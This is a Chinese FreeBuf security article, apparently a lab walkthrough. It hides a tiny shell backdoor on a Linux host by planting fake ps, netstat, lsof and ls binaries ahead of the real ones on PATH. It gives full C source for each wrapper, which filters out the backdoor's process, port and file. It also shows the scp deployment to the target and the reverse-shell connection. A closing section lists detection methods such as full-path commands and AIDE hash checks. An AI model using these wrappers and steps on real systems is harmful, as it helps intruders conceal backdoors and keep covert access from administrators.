freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

通过伪造ps、netstat、lsof、ls命令文件,实现对tiny shell后门的隐藏
2022-07-27 17:52:17
所属地 北京

一、简介

在《Linux系统使用tiny shell进行远程控制和传输文件》一文中介绍了tiny shell后门的使用方法。虽然tiny shell运行后将自己的进程名称伪装成/bin/bash,但还是存在进程信息,并且它的网络连接信息和可执行文件名称都是可见的,如果不对这些信息进行隐藏,管理员会很容易发现这是个后门。本文在该文的基础上介绍一种隐藏后门的方法:通过伪造ps、netstat、lsof和ls命令的二进制文件,在靶机运行tiny shell后门之后,向管理员隐藏tshd的进程、网络连接和文件的信息。

二、实验平台

1658915072_62e10900b0298ca5d5453.png!small?1658915073227

三、操作步骤

(一)攻击者伪造特定的系统程序

由于kali linux和ubuntu都是基于debian的操作系统,因此在kali上编译的二进制程序,在ubtunu系统中也可以运行。下面在kali机器上执行下面的操作:

1、 伪造ps程序

mkdir test && cd test

vi ps.c  //编辑源代码文件,加入下面的内容

int main(int a,char**b){

char*c[999999]={"sh","-c","/bin/ps \$*|grep -Ev '/bin/bash'"};

memcpy(c+3,b,8*a);

execv("/bin/sh",c);

}

保存退出。

源代码的意思是,执行系统自带的ps程序,但是在ps的输出中去除含有/bin/bash的行(tshd会将自己的进程名称伪装为/bin/bash)。

//编译生成二进制程序,可能会出现警告信息,但不影响使用。编译生成的二进制文件自动拥有执行权限

gcc -xc ps.c -o ps

2、 伪造netstat程序

vi netstat.c  //编辑源代码文件,加入下面的内容

int main(int a,char**b){

char*c[999999]={"sh","-c","/bin/netstat \$*|grep -Ev '5555'"};

memcpy(c+3,b,8*a);

execv("/bin/sh",c);

}

保存退出。代码的意思是,在/bin/netstat程序的输出中去除含有5555的行(tshd监听本地5555端口,或在反弹模式中连接远程的5555端口)。

//编译生成二进制文件

gcc -xc netstat.c -o netstat

3、 伪造lsof程序

vi lsof.c  //编辑源代码文件,加入下面的内容

int main(int a,char**b){

char*c[999999]={"sh","-c","/usr/bin/lsof \$*|grep -Ev '5555|tshd'"};

memcpy(c+3,b,8*a);

execv("/bin/sh",c);

}

保存退出。tshd在lsof的输出中还是会显示为tshd,隐藏含有5555或者tshd的行。

//编译生成二进制文件

gcc -xc lsof.c -o lsof

4、 伪造ls程序

vi ls.c  //编辑源代码文件,加入下面的内容

int main(int a,char**b){

char*c[999999]={"sh","-c","/bin/ls \$*|grep -Ev 'tshd'"};

memcpy(c+3,b,8*a);

execv("/bin/sh",c);

}

保存退出。在/bin/ls的输出中隐藏tshd。

//编译生成二进制文件

gcc -xc ls.c -o ls

//查看靶机PATH环境变量

1658915134_62e1093e5837ea84dd578.png!small?1658915135393

可以看到,ps命令所在的路径为/bin,而在环境变量PATH的值中,/usr/local/sbin在/bin的前面。因此若将伪造的二进制程序放在/usr/local/sbin目录,则用户输入ps命令时将执行伪造的ps,不会执行真的ps。

//将伪造的程序复制到靶机的/usr/local/sbin目录

scp -p ps netstat lsof ls root@192.168.242.118:/usr/local/sbin/

(二)运行tiny shell后门程序

1、 攻击者运行客户端程序

./tsh cb  //cb表示connect back

1658915142_62e10946961d818da7e68.png!small?1658915143587

客户端程序开始监听本地端口,等待服务端连接。

2、 靶机执行后门程序

./tshd

1658915153_62e10951a83c40e177c11.png!small?1658915154429

最多半分钟,攻击者获得反弹shell:

1658915165_62e1095d0a87532821036.png!small?1658915166102

(三)查看tshd的隐藏效果

1、 使用ps命令查看进程列表

1658915181_62e1096de78a7289073c5.png!small?1658915182759

通过对比,伪造的ps输出的进程列表中看不到tshd的/bin/bash进程,但是该进程是存在的。

2、 使用netstat查看网络连接

1658915189_62e10975b6870d365e91d.png!small?1658915190579

伪造的netstat输出的网络连接信息中也看不到tshd和它所连接的5555端口。

3、 使用lsof查看端口占用

1658915201_62e109812de8526dd693f.png!small?1658915202050

伪造的lsof的输出中也无法通过端口找到tshd。

4、 使用ls查看文件

1658915214_62e1098eb55946ab3e63f.png!small?1658915215977

伪造的ls -l也看不到tshd文件。

四、结论

以上的方法可以将tshd的进程和二进制文件从ps、netstat、lsof和ls命令的输出中消除掉,勉强实现隐藏后门的效果。但是这种方法的局限性也是明显的。只要管理员输入完整路径的命令,就可以看到真实的输出。如果用伪造的程序覆盖正常的程序,管理员也可以从其它机器上复制可信的可执行文件到目标机器运行,从而看到真实结果。如果管理员以前通过AIDE之类的程序生成了系统文件散列值的数据库,那么管理员只要将当前系统文件的散列值与数据库进行比对,即可发现新增和被篡改的文件。相比之下,使用LD_Preload rootkit或者LKM rootkit,隐藏的效果会更好。

# linux # Backdoor # rootkit # TinySHell
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录